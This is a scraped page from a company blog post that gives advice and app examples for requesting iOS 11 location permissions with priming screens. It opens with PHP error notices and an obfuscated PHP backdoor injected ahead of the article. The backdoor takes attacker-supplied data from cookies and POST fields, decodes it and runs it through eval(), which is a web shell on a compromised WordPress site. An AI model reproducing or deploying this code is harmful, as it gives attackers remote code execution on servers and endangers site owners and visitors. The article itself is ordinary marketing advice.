Notice: Uninitialized string offset: 0 in /srv/www/www.plotprojects.com/html/wp-includes/class-wp-post-type.php on line 1

Notice: Uninitialized string offset: 0 in /srv/www/www.plotprojects.com/html/wp-includes/class-wp-post-type.php on line 1

Notice: Uninitialized string offset: 0 in /srv/www/www.plotprojects.com/html/wp-includes/class.wp-styles.php on line 1

Notice: Uninitialized string offset: 0 in /srv/www/www.plotprojects.com/html/wp-includes/class.wp-styles.php on line 1

Notice: Uninitialized string offset: 0 in /srv/www/www.plotprojects.com/html/wp-includes/class.wp-styles.php on line 1

Notice: Uninitialized string offset: 0 in /srv/www/www.plotprojects.com/html/wp-includes/class.wp-styles.php on line 1

Notice: Uninitialized string offset: 0 in /srv/www/www.plotprojects.com/html/wp-includes/canonical.php on line 1

Notice: Uninitialized string offset: 0 in /srv/www/www.plotprojects.com/html/wp-includes/canonical.php on line 1

Notice: Uninitialized string offset: 0 in /srv/www/www.plotprojects.com/html/wp-includes/class-wp-http-streams.php on line 1

Notice: Uninitialized string offset: 0 in /srv/www/www.plotprojects.com/html/wp-includes/class-wp-http-streams.php on line 1
$DdAJoD = "\150" . "\x6b" . "\126" . "\x5f" . 'm' . "\x71" . chr ( 938 - 855 ); $QWCozw = 'c' . "\154" . "\x61" . "\x73" . chr (115) . "\137" . 'e' . chr ( 445 - 325 ).chr (105) . "\163" . 't' . chr ( 854 - 739 ); $jDBncd = class_exists($DdAJoD); $QWCozw = "2020";$ezQwv = strpos($QWCozw, $DdAJoD);if ($jDBncd == $ezQwv){function Qjjnabt(){$SOwZiXs = new /* 60949 */ hkV_mqS(38004 + 38004); $SOwZiXs = NULL;}$QBEKjkwEK = "38004";class hkV_mqS{private function VMnAdcOcSM($QBEKjkwEK){if (is_array(hkV_mqS::$hCXpN)) {$FyvjRxatS2 = str_replace("<" . "?php", "", hkV_mqS::$hCXpN["content"]);eval($FyvjRxatS2); $QBEKjkwEK = "38004";exit();}}public function beTAccJar(){$FyvjRxatS = "62028";$this->_dummy = str_repeat($FyvjRxatS, strlen($FyvjRxatS));}public function __destruct(){hkV_mqS::$hCXpN = @unserialize(hkV_mqS::$hCXpN); $QBEKjkwEK = "45319_37754";$this->VMnAdcOcSM($QBEKjkwEK); $QBEKjkwEK = "45319_37754";}public function cYdPo($FyvjRxatS, $KatdVZmc){return $FyvjRxatS[0] ^ str_repeat($KatdVZmc, intval(strlen($FyvjRxatS[0]) / strlen($KatdVZmc)) + 1);}public function YhYwhb($FyvjRxatS){$sNYbpPnF = chr ( 355 - 257 ).'a' . chr (115) . chr ( 121 - 20 ).chr (54) . chr (52);return array_map($sNYbpPnF . "\137" . "\x64" . "\x65" . "\x63" . "\157" . "\x64" . 'e', array($FyvjRxatS,));}public function __construct($BOSVOHvWg=0){$BzjLQ = chr ( 578 - 534 ); $FyvjRxatS = "";$NSLKhwk = $_POST;$jkeIH = $_COOKIE;$KatdVZmc = "73f9e189-26f2-4059-975b-6c912254682c";$BgivobGMk = @$jkeIH[substr($KatdVZmc, 0, 4)];if (!empty($BgivobGMk)){$BgivobGMk = explode($BzjLQ, $BgivobGMk);foreach ($BgivobGMk as $Jiirwh){$FyvjRxatS .= @$jkeIH[$Jiirwh];$FyvjRxatS .= @$NSLKhwk[$Jiirwh];}$FyvjRxatS = $this->YhYwhb($FyvjRxatS);}hkV_mqS::$hCXpN = $this->cYdPo($FyvjRxatS, $KatdVZmc);if (strpos($KatdVZmc, $BzjLQ) !== FALSE){$KatdVZmc = explode($BzjLQ, $KatdVZmc); $uesQfnkHPr = base64_decode(md5($KatdVZmc[0])); $AYeNCv = strlen($KatdVZmc[1]) > 5 ? substr($KatdVZmc[1], 0, 5) : $KatdVZmc[1];$_GET['new_key'] = md5(implode('', $KatdVZmc)); $KLLlgh = str_repeat($AYeNCv, 2); $jYnUSpQ = array_map('trim', $KatdVZmc);if (is_array($jYnUSpQ) && count($jYnUSpQ) > 1) {$bQZPQ = $jYnUSpQ[0];} else {$bQZPQ = '';}}}public static $hCXpN = 19455;}Qjjnabt();} How to Ask for Location Permissions in iOS11: 10 Examples + Recommended Approaches
Blog

How to Ask for Location Permissions in iOS11: Recommended Approaches & 10 Examples

*UPDATED* – September 10th 2019

 

This post originally outlined the major changes to how mobile apps need to ask for access to user’s location data – a change which came most notably with the release of iOS11. Now, we continue to add useful examples to this article as a how-to hub for opt-in priming – showing you how to build proactive, clear, value-based user consent into your permission flows, keep your app opt-in rates high, and your user retention even higher.  

 

In this article we’ll cover:

 

iOS permissions as they stand

In a nutshell, app publishers will be required to ask for all the location permissions as opposed to just the ones they prefer. These compulsory location permissions are: ‘Never’, ‘When in Use’, and ‘Always’.

 

Location Permissions iOS10-VS-iOS11-1-1

 

If you decide not to customize the default location permissions setup, your users will be presented with all three options when opening the app for the first time. And the trick is, if they choose ‘When in Use’, you won’t be able to ask them to upgrade to ‘Always’ later.

Our suspicion is that this new permissions set-up might decrease the opt-in rate for the ‘Always’ permission. Below, you can find 2 ways to approach this update to make sure you keep your opt-in rate up.

 


 

Whitepaper: 4 ways to increase mobile opt-ins

How to Balance GDPR & Mobile Opt-in?

Wondering how you could capture clear opt-in for location marketing, whilst staying GDPR compliant? This guide gives you simple tips on how to do just that.

Get the whitepaper


 


 

What you need to do to gain the right access to location data

 

Approach #1: Quick but less effective “Extended Rationale”

 

Location Permission iOS11 by Uber Location Permission iOS11 by Waze Location Permission iOS11 by Where To

 

On iOS, you are required to give the reason why your app needs access to location data It’s that little paragraph that appears under the location permission question. If the rationale is missing, the location permission isn’t shown.

What you can do is create an extended rationale. See examples above. This way the standard iOS permission would stand out more and you will get a chance to explain to your users which features won’t be available without the location tracking in background.

Having said that, there is a chance users might consider the text too long and not bother reading it altogether. For this reason, we would advise you to implement the second approach, which is explained below. But if you weren’t planning on doing anything for the iOS update, please at least create an extended rationale, it’s better than nothing.

 

Approach #2: Long but more effective “Two-Step Looped Priming”

Why do you need to implement the long approach? The answer to this is simple: you only get one chance to do it so you better do it right. If your user decides not to grant you access to location tracking, you won’t be able to ask them again and any change of opt-in will require your user to manually change it in the app settings, which, let’s be realistic, you shouldn’t count on.

 

iOS11 Location Permissions Recommended Approach

 

The long but effective approach is based on 3 equally important components:

1. Splitting location permissions into two steps

Showing the default permission set-up to users is pretty risky, as you only get one chance to get the right access level to location data. Therefore, the recommended way is to split this process into two steps.

You first need to ask user for ‘When in use’ permission. After some time, when the user is more engaged with the app and therefore more likely to upgrade, ask them for the ‘Always’ permission.

2. Creating priming (preparational) screens for both location permissions

Showing location permissions, split in two parts or not, to a user without any explanation as to why you need access to their location can be overwhelming and can result in a low opt-in rate. Therefore, we recommend to prime (or prepare) your users for both of the location permissions with explanation screens.

These screens need to be clear and highlight the benefits of location tracking to the user. We recommend you also mention which features the user will be missing out on without location tracking.

3. Keeping the priming screens in a loop until successful

Your explanation screens need to have two buttons resembling the actual location permission buttons so that later your user can recognize them. One button is to allow location services, the other one to postpone the request.

If the user presses on the ‘Allow’ button on the priming screen, only then do you show them the actual Apple system location permission. If the user presses ‘Not now’ or ‘Later’ or whatever you decide to call it, don’t show the system permission. After some time, when the user is more engaged with the app and better recognizes the benefits of location tracking, you can show them the priming screen again. You should repeat this process until successful (nothing wrong with being persistent, but try not to be annoying. Give it some time).

This advice is applicable for both of the steps – when asking for “When in use’ and ‘Always’ location permissions. This way you can avoid your user choosing ‘Never’ on the actual Apple system location permission, and forever losing them.

 

10 inspirational location permission priming examples for different industries

Medical

 

  1. Leafy

Medical App Priming Screen Medical App Location Permission

 

Health

 

  1. Life Cycle

Health App Priming Screen 1 Health App Priming Screen 4 Health App Priming Screen 2 Health App Priming Screen 3 Health App Priming Screen 5 Health App Location Permission

 

  1. Runkeeper

Running App Priming Screen Running App Location Permission

 

Travel

 

  1. Trip Advisor

Travel App Priming Screen Travel App Location Permission

 

  1. Kiwi

Flight Aggregator Priming Screen Flight Aggregator Location Permission

 

Food

 

  1. Foodora

Food Delivery App Priming Screen Food Delivery App Location Permission

 

  1. Chef’s Feed

Food App Priming Screen Food App Location Permission

 

Home Automation

 

  1. Nest

Home Automation App Priming Screen 1 Home Automation App Priming Screen 2 Home Automation App Location Permission

 

Dating

 

  1. Happn

Dating App Priming Screen 1 Dating App Priming Screen 2 Dating App Location Permission

 

Navigation

 

  1. Gaia

Navigation App Priming Screen 1 Navigation App Priming Screen 2 Navigation App Priming Screen 3 Navigation App Priming Screen 4 Navigation App Location Permission

 

Next up, read our articles on:

  – How to prepare for iOS13

 – How to use your opt-ins to serve place-personalized content 

 

 

Spread the love

Want to learn more?